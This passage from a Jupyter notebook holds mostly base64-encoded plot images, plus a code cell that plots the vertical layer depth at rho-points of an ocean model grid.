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", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid.plot_vertical_coordinate(\n", " \"layer_depth_rho\", s=0\n", ") # depth of the lowermost layer at rho-points" ] }, { "cell_type": "code", "execution_count": 24, "id": "315fba05-2b4f-4b95-ae4a-ee85c70bc25e", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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